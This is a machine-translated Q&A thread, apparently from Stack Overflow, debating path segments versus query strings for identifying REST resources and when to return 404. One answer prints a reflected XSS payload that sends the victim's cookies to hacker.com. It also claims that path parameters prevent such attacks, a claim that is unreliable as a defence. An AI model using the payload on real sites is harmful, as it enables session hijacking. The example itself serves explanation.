Строка запроса в URL ресурса REST - PullRequest
70 голосов
/ 29 сентября 2010

У меня сегодня был разговор с коллегой по использованию строк запроса в URL-адресах REST.Возьмите эти 2 примера:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

Моя позиция заключалась в том, что URL должны быть разработаны, как в примере 1. Это чище, и я думаю, что это правильно в REST.На мой взгляд, было бы совершенно правильно вернуть ошибку 404 из примера 1, если код продукта не существует, тогда как в примере 2 возврат 404 был бы неправильным, поскольку страница должна существовать.Его позиция заключалась в том, что это не имело значения, и что они оба делают одно и то же.

Поскольку ни один из нас не смог найти конкретных доказательств (по общему признанию, мой поиск не был обширным), я хотел бы узнать мнения других людейна этом.

Ответы [ 10 ]

83 голосов
/ 29 сентября 2010

Нет никакой разницы между двумя URI с точки зрения клиента. URI непрозрачны для клиента. Используйте любые более аккуратные карты в вашей серверной инфраструктуре.

Что касается REST, то здесь нет абсолютно никакой разницы. Я полагаю, что причина, по которой так много людей считают, что ресурс определяется только компонентом пути, заключается в следующей строке в RFC 2396

Компонент запроса представляет собой строку информация для интерпретации ресурс.

Эта строка была позже изменена в RFC 3986 на:

Компонент запроса содержит неиерархические данные, которые наряду с данные в компоненте пути (раздел 3.3), служит для идентификации ресурса

ИМХО это означает, что и строка запроса, и сегмент пути функционально эквивалентны, когда дело доходит до идентификации ресурса.


Обновление с учетом комментария Стива.

Простите, если я возражаю против прилагательного "уборщик". Это просто слишком субъективно. Вы, правда, имеете в виду, что я пропустил значительную часть вопроса.

Я думаю, что ответ на вопрос, возвращать ли 404, зависит от того, какой ресурс извлекается. Это представление результатов поиска, или это представление продукта? Чтобы узнать это, вам действительно нужно взглянуть на отношение ссылок, которое привело нас к URL.

Если предполагается, что URL возвращает представление Product, тогда должен быть возвращен 404, если код не существует. Если URL возвращает результат поиска, он не должен возвращать 404.

Конечным результатом является то, что внешний вид URL не является определяющим фактором. При этом принято, что строки запроса используются для возврата результатов поиска, поэтому более интуитивно понятно использовать этот стиль URL, если вы не хотите возвращать 404.

46 голосов
/ 29 сентября 2010

В типичных API REST пример № 1 является более правильным. Ресурсы представлены как URI, и # 1 делает это больше. Возвращение 404, когда код продукта не найден, является абсолютно правильным поведением. Сказав это, я бы немного изменил # 1, чтобы сделать его более выразительным:

http://localhost/products/code/4xheaua

Посмотрите на другие хорошо разработанные API REST - например, посмотрите на StackOverflow. У вас есть:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

Это все разные способы ответить на "вопросы".

9 голосов
/ 21 декабря 2013

Существует два варианта использования для GET

  1. Получение уникально идентифицированного ресурса
  2. Поиск ресурса (-ов) по заданным критериям

ИспользованиеПример 1:

/ products / 4xxheua
Получить продукт с уникальной идентификацией, возвращает 404, если не найден.

Пример использования 2:

/ продукты? Размер = большой и цвет = красныйПоиск продукта возвращает список подходящих продуктов (от 0 до многих).

Если мы посмотрим, скажем, API Карт Google, мы увидим, что для поиска используется строка запроса.

Например http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Таким образом, оба стиля действительны для их собственных вариантов использования.

4 голосов
/ 29 июля 2015

Как мне кажется, путь URI определяет ресурс, а необязательные строки запросов предоставляют пользовательскую информацию. Итак

https://domain.com/products/42

определяет конкретный продукт, а

https://domain.com/products?price=under+5

может искать товары стоимостью менее $ 5.

Я не согласен с теми, кто сказал, что использование строк запросов для идентификации ресурса согласуется с REST. Большая часть REST - это создание API, который имитирует статическую иерархическую файловую систему (без буквальной необходимости в такой системе на бэкэнде) - это делает интуитивно понятными, семантическими идентификаторами ресурсов. Строки запроса нарушают эту иерархию. Например, часы - это аксессуар, в котором есть аксессуары. В стиле REST довольно ясно, что

 https://domain.com/accessories/watches

и

https://domain.com/watches/accessories

каждый относится к. Со строками запроса

 https://domain.com?product=watches&category=accessories

не очень понятно.

По крайней мере, стиль REST лучше, чем строки запросов, потому что он требует примерно вдвое меньше информации, поскольку строгий порядок параметров позволяет нам отбрасывать имена параметров.

4 голосов
/ 24 июля 2011

IMO компонент пути всегда должен указывать, что вы хотите получить. URL типа http://localhost/findbyproductcode говорит только о том, что я хочу получить что-то по коду продукта, но что именно?

Таким образом, вы получаете контакты с http://localhost/contacts, а пользователи с http://localhost/users. Строка запроса используется только для получения подмножества такого списка на основе атрибутов ресурса. Единственное исключение - когда это подмножество сокращено до одной записи на основе первичного ключа, тогда вы используете что-то вроде http://localhost/contact/[primary_key].

Это мой подход, ваш пробег может отличаться:)

3 голосов
/ 29 сентября 2010

Окончание этих двух URI не очень значимо для REST.

Однако часть 'findbyproductcode', безусловно, может быть более спокойной.Почему бы не просто http://localhost/product/4xxheau?

По моему ограниченному опыту, если у вас есть уникальный идентификатор, тогда было бы просто создать URI как ... / product / {id} Однако, если productкод не является уникальным, тогда я мог бы сделать его более похожим на # 2.

Однако, как заметил Даррел, клиенту должно быть все равно, как выглядит URI.

2 голосов
/ 09 октября 2013

Этот вопрос посвящен тому, что является более чистым подходом. Но я хочу сосредоточиться на другом аспекте, называемом безопасностью. Начав интенсивно работать над безопасностью приложений, я обнаружил, что отраженную атаку XSS можно успешно предотвратить, используя PathParams (appraoch 1) вместо QueryParams (подход 2).

(Конечно, предпосылкой отраженной атаки XSS является то, что злонамеренный пользовательский ввод отражается обратно в html-источнике для клиента. К сожалению, некоторые приложения будут делать это, и именно поэтому PathParams может предотвратить XSS атаки)

Причина, по которой это работает, заключается в том, что полезная нагрузка XSS в сочетании с PathParams приведет к неизвестному неопределенному пути URL-адреса из-за косой черты внутри самой полезной нагрузки.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Принимая во внимание, что эта атака будет успешной при использовании QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
2 голосов
/ 01 марта 2013

Строка запроса неизбежна во многих практических смыслах .... Подумайте, что произойдет, если поиск разрешит множественные (необязательные) поля для всех указанных.В первой форме их позиции в иерархии должны быть фиксированными и дополненными ...

Представьте себе кодирование общего SQL-выражения "where" в этом формате .... Однако в качестве строки запроса этодовольно просто.

1 голос
/ 09 октября 2013

С философской точки зрения, страницы не "существуют".Когда вы кладете книги или бумаги на книжную полку, они остаются там.У них есть отдельное существование на этой полке.Однако страница существует только в том случае, если она размещена на каком-либо компьютере, который включен и может предоставить ее по требованию.Эта страница, конечно, всегда может быть сгенерирована на лету, поэтому она не требует особого существования до вашего запроса.

Теперь подумайте об этом с точки зрения сервера.Давайте предположим, что это, скажем, правильно настроенный Apache, а не однострочный сервер Python, просто отображающий все запросы в файловую систему.Тогда конкретный путь, указанный в URL-адресе, может не иметь ничего общего с расположением конкретного файла в файловой системе.Итак, еще раз, страница не «существует» в каком-либо явном смысле.Возможно, вы запрашиваете http://some.url/products/intel.html, и вы получаете страницу;тогда вы запрашиваете http://some.url/products/bigmac.html, и вы ничего не видите.Это не значит, что есть один файл, а другой нет.Возможно, у вас нет прав доступа к другому файлу, поэтому сервер возвращает 404, или, возможно, bigmac.html должен был обслуживаться с удаленного сервера Mc'Donalds, который временно недоступен.

Что я пытаюсь сделатьобъясните, 404 это просто число.В этом нет ничего особенного: это могло быть 40404 или -2349.23847, мы только что согласились использовать 404.Это означает, что сервер есть, он общается с вами, он, вероятно, понял, что вы хотели, и ему нечего вам вернуть.Если вы считаете целесообразным возвращать 404 для http://some.url/products/bigmac.html, когда сервер решает не предоставлять файл по какой-либо причине, вы можете также согласиться вернуть 404 для http://some.url/products?id=bigmac.

Теперь, если вы хотите быть полезными для пользователей с браузером, которые пытаются вручную редактировать URL, вы можете перенаправить их на страницу со списком всех продуктов и некоторыми возможностями поиска, а не просто давать им404 --- или вы можете указать 404 в виде кода и ссылку на все продукты.Но затем вы можете сделать то же самое с http://some.url/products/bigmac.html: автоматически перенаправить на страницу со всеми продуктами.

1 голос
/ 20 апреля 2013

Для клиента REST структура URI не имеет значения, поскольку она следует ссылкам, аннотированным семантикой, и никогда не анализирует URI.

Разработчиком, который пишет логику маршрутизации и логику генерации ссылок и, вероятно, хочет понять журнал, проверив URL-адреса, структура URI имеет значение. При помощи REST мы сопоставляем URI с ресурсами, а не с операциями - Защита диссертации / унифицированный интерфейс / идентификация ресурсов .

Таким образом, обе структуры URI, вероятно, имеют недостатки, поскольку они содержат глаголы в их текущем формате.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Вы можете удалить find из URI следующим образом:

1. /products/code:4xxheua
2. /products?code="4xxheua"

С точки зрения ОТДЫХА не имеет значения, какой из них вы выберете.

Вы можете определить собственное соглашение об именах, например: «сводя коллекцию к одному ресурсу с использованием уникального идентификатора, уникальный идентификатор всегда должен быть частью пути, а не запроса». Это то же самое, что и стандарт URI: путь иерархический, запрос неиерархический. Поэтому я бы использовал /products/code:4xxheua.

...